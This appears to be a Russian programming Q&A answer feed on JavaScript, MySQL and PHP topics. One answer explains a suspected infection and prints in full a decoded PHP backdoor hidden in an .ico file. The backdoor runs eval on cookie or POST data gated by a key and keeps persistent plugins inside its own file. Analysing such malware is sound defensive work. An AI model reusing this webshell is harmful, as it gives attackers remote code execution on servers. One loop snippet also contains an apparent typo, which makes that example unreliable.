Задать вопрос
  • Как проверить есть ли у Promise метод abort?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Комментировать
  • Как происходит обнаружение dhcp сервера в сети?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Ответ написан
    Комментировать
  • Почему браузер заменяет + в запросе пробелом?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    encodeURI игнорирует +, так как он является корректным символом URI, используемым для передачи пробела.
    Используйте encodeURIComponent.
    Ответ написан
    Комментировать
  • Ошибка соединения с сервером. Попробуйте позже. Как исправить?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    А почему вы решили, что ошибка $db->query($query) вызвана именно отсутствием соединения с сервером?
    Ответ написан
    Комментировать
  • Как на JS реализуется изменяемое условие?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Например, так, https://codepen.io/anon/pen/eMdewb
    Ответ написан
    Комментировать
  • Как посчитать одинаковые значения в нескольких столбцах?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    SELECT `number`, COUNT(*)
      FROM (
        SELECT `number1` AS `number`
          FROM `table`
        UNION ALL SELECT `number2` AS `number`
          FROM `table`
        UNION ALL SELECT `number3` AS `number`
          FROM `table`
        UNION ALL SELECT `number4` AS `number`
          FROM `table`
      ) AS `temp`
      GROUP BY `number`
    Ответ написан
  • Как в MySQL 5.7 сделать, чтобы при пропуске в insert значения для ENUM-поля (NN) генерилась ошибка?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    У вас случаем для поля DEFAULT не установлен?

    P.S.
    Это штатное поведение MySQL:
    If an ENUM column is declared to permit NULL, the NULL value is a valid value for the column, and the default value is NULL. If an ENUM column is declared NOT NULL, its default value is the first element of the list of permitted values.

    Значит проверку можно сделать только повесив на BEFORE INSERT/BEFORE UPDATE триггер с проверкой значения и генерацией ошибки через SIGNAL.
    Ответ написан
    6 комментариев
  • Почему mysql экранирует кавычки в json?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Потому что вы передаёте не JSON, а строку. Если хотите, чтобы она воспринималась именно как JSON, укажите это явно через CAST('$jsArr' AS JSON).
    Ответ написан
    1 комментарий
  • Почему появляются дырки в ID (AI, InnoDB)?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Лакуны в автоинкрементном поле обычно связаны с запросами на вставку, которые не были выполнены (запросы с ошибками выполнения, INSERT IGNORE, INSERT ... ON DUPLICATE KEY UPDATE). Перед запросом резервируется необходимое количество новых идентификаторов и счётчик в таблице увеличивается, если запрос не добавил строки, то выделенные ему номера пропадают.
    Ответ написан
    Комментировать
  • MySQL CONSTRAINT two `id` to one `id`?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Только двумя отдельными ключами.
    Ответ написан
    Комментировать
  • Как исправить проблему с кодировкой?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    По стандарту в заголовках письма должны использоваться только символы из основного ASCII-набора (0x00-0x7F). Все остальные символы должны быть закодированы.
    Если письмо содержит HTML-часть, то крайне желательно добавить соответствующую по тексту PLAIN-часть. Тип письма должен быть multipart/alternative.
    При несоблюдении этих условий резко возрастает вероятность попадания письма в спам.
    Кодировку лучше использовать UTF-8, как наиболее универсальную.
    $fromName = "=?UTF-8?B?" . base64_encode($fromName) . "?=";
    $toName = "=?UTF-8?B?" . base64_encode($toName) . "?=";
    $subject = "=?UTF-8?B?" . base64_encode($subject) . "?=";
    $boundary = md5(rand());
    $headers = "From: {$fromName} <${fromEmail}>\r\n".
               "MIME-Version: 1.0\r\n" .
               "Content-type: multipart/alternative; boundary={$boundary}\r\n"; 
    $message = "\r\n--{$boundary}\r\n" .
               "Content-Type: text/plain; charset=UTF-8\r\n\r\n" .
               $plainMessage .
               "\r\n--{$boundary}\r\n" .
               "Content-Type: text/html; charset=UTF-8\r\n\r\n" .
               $htmlMessage .
               "\r\n--{$boundary}--\r\n";
    mail("{$toName} <{$toEmail}>", $subject, $message, $headers);
    Ответ написан
    Комментировать
  • Установка/переустановка Windows официально и легально?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Если официально, то на такие компьютеры надо приобретать лицензии - боксовые, GGK или, для организаций, OL/VL.
    Ответ написан
    Комментировать
  • Откуда появляется непонятная дробная часть при вычислениях?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Храните цену в целых числах (копейках, центах и т.п). Выделяйте дробную часть только для показа человеку.
    Ответ написан
    Комментировать
  • Почему скрипт ничего не выводит?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Потому что вы весь результат уже получили через get_result(), курсор в $stmt дошёл до конца. Теперь перебирайте $result его методами.
    Ответ написан
    Комментировать
  • Какой алгоритм должен быть для построения треугольников?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    В принципе, ваш алгоритм рабочий, только перебирать надо не все отрезки в каждом цикле, а только те, что лежат ниже. То есть
    for (i = 0; i < pairs.length-2; i++) {
      ... 
      for (i = i+1; j < pairs.length-1; j++) {
        ...
        for (k = j+1; k < pairs.length; k++) {
          ...
        }
      }
    }
    Ответ написан
    1 комментарий
  • Как оптимизировать запрос с ORDER BY и FULLTEXT search?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    SELECT * 
      FROM `shingles` 
      WHERE MATCH (`shingle`) AGAINST ('слово' IN BOOLEAN MODE)
      ORDER BY `count` DESC
      LIMIT 5
    Ответ написан
  • Как узнать порядковый номер записи из выборки из двух таблиц?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Надо обернуть запрос ещё в один SELECT
    SET @row = 0;
    SELECT *, @row := @row + 1 AS `pos`
      FROM (
        SELECT `t1`.`id`, `t1`.`hm`, `t2`.`name`
          FROM (
            SELECT `target_id` AS `id`, SUM(`cnt`) AS `hm`
              FROM `votes`
              GROUP BY `target_id`
          ) AS `t1`
          JOIN `people` AS `t2` ON `t2`.`id` = `t1`.`id`
          ORDER BY `t1`.`hm` DESC, `t2`.`name` ASC 
          LIMIT 10
      ) AS `x`
    Ответ написан
    6 комментариев
  • Это код вируса или нет?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    А вы откройте этот .ico-файл в текстовом редакторе, там как раз зловред сидит.
    Если его расшифровать:
    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);
    @error_reporting(0);
    @set_time_limit(0);
    
    
    if(!defined("PHP_EOL"))
    {
        define("PHP_EOL", "\n");
    }
    
    if(!defined("DIRECTORY_SEPARATOR"))
    {
        define("DIRECTORY_SEPARATOR", "/");
    }
    
    if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
    {
        define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);
    
        $data = NULL;
        $data_key = NULL;
    
        $GLOBALS['cs_auth'] = '58d0af46-4572-4890-a372-475116d44415';
        global $cs_auth;
    
    
        function cs_base64_decode($input) {
    
            if (strlen($input) < 4)
            {
                return "";
            }
    
            $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
    
            $keys = str_split($keyStr);
            $keys = array_flip($keys);
    
            $i = 0;
            $output = "";
    
            $input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input);
    
            do {
                $enc1 = $keys[$input[$i++]];
                $enc2 = $keys[$input[$i++]];
                $enc3 = $keys[$input[$i++]];
                $enc4 = $keys[$input[$i++]];
    
                $chr1 = ($enc1 << 2) | ($enc2 >> 4);
                $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
                $chr3 = (($enc3 & 3) << 6) | $enc4;
                $output = $output . chr($chr1);
                if ($enc3 != 64) {
                    $output = $output . chr($chr2);
                }
                if ($enc4 != 64) {
                    $output = $output . chr($chr3);
                }
            } while ($i < strlen($input));
            return $output;
        }
    
        if (!function_exists('file_put_contents'))
        {
            function file_put_contents($n, $d, $flag = False)
            {
                $mode = $flag == 8 ? 'a' : 'w';
                $f = @fopen($n, $mode);
                if ($f === False)
                {
                    return 0;
                }
                else
                {
                    if (is_array($d)) $d = implode($d);
                    $bytes_written = fwrite($f, $d);
                    fclose($f);
                    return $bytes_written;
                }
            }
        }
    
        if (!function_exists('file_get_contents'))
        {
            function file_get_contents($filename)
            {
                $fhandle = fopen($filename, "r");
                $fcontents = fread($fhandle, filesize($filename));
                fclose($fhandle);
    
                return $fcontents;
            }
        }
        function cs_get_current_filepath()
        {
            return trim(preg_replace("/\(.*\$/", '', __FILE__));
        }
    
        function cs_decrypt_phase($data, $key)
        {
            $out_data = "";
    
            for ($i=0; $i<strlen($data);)
            {
                for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
                {
                    $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
                }
            }
    
            return $out_data;
        }
    
        function cs_decrypt($data, $key)
        {
            global $cs_auth;
    
            return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
        }
        function cs_encrypt($data, $key)
        {
            global $cs_auth;
    
            return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
        }
    
        function cs_get_plugin_config()
        {
            $self_content = @file_get_contents(cs_get_current_filepath());
    
            $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
            if ($config_pos !== FALSE)
            {
                $config = substr($self_content, $config_pos + 32);
                $plugins = @unserialize(cs_decrypt(rawurldecode($config), md5(cs_get_current_filepath())));
            }
            else
            {
                $plugins = Array();
            }
    
            return $plugins;
        }
    
        function cs_set_plugin_config($plugins)
        {
            $config_enc = rawurlencode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
            $self_content = @file_get_contents(cs_get_current_filepath());
    
            $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
            if ($config_pos !== FALSE)
            {
                $config_old = substr($self_content, $config_pos + 32);
                $self_content = str_replace($config_old, $config_enc, $self_content);
    
            }
            else
            {
                $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
            }
    
            @file_put_contents(cs_get_current_filepath(), $self_content);
        }
    
        function cs_plugin_add($name, $base64_data)
        {
            $plugins = cs_get_plugin_config();
    
            $plugins[$name] = cs_base64_decode($base64_data);
    
            cs_set_plugin_config($plugins);
        }
    
        function cs_plugin_rem($name)
        {
            $plugins = cs_get_plugin_config();
    
            unset($plugins[$name]);
    
            cs_set_plugin_config($plugins);
        }
    
        function cs_plugin_load($name=NULL)
        {
            foreach (cs_get_plugin_config() as $pname=>$pcontent)
            {
                if ($name)
                {
                    if (strcmp($name, $pname) == 0)
                    {
                        eval($pcontent);
                        break;
                    }
                }
                else
                {
                    eval($pcontent);
                }
            }
        }
    
        foreach ($_COOKIE as $key=>$value)
        {
            $data = $value;
            $data_key = $key;
        }
    
        if (!$data)
        {
            foreach ($_POST as $key=>$value)
            {
                $data = $value;
                $data_key = $key;
            }
        }
    
        $data = @unserialize(cs_decrypt(cs_base64_decode($data), $data_key));
    
        if (isset($data['ak']) && $cs_auth==$data['ak'])
        {
            if ($data['a'] == 'i')
            {
                $i = Array(
                    'pv' => @phpversion(),
                    'sv' => '2.0-1',
                    'ak' => $data['ak'],
                );
                echo @serialize($i);
                exit;
            }
            elseif ($data['a'] == 'e')
            {
                eval($data['d']);
            }
            elseif ($data['a'] == 'plugin')
            {
                if($data['sa'] == 'add')
                {
                    cs_plugin_add($data['p'], $data['d']);
                }
                elseif($data['sa'] == 'rem')
                {
                    cs_plugin_rem($data['p']);
                }
            }
            echo $data['ak'];
            exit();
        }
    
        cs_plugin_load();
    }

    А строка комментария в конце кода - это плагины, которые он грузит.
    Ответ написан
    Комментировать
  • Возможно ли в наше время "рабство" в ИТ?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Деловые отношения оформлены с ним через ИП.

    То есть, трудового договора нет? Тогда читайте договор, который заключили как ИП с данной организацией. Именно в нём могут быть предусмотрены санкции за односторонний разрыв договора.
    Ответ написан
    5 комментариев
  • Почему не получается подключится к БД через функцию?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Область видимости переменной $dbc ограничена функцией connect().
    Ответ написан
    1 комментарий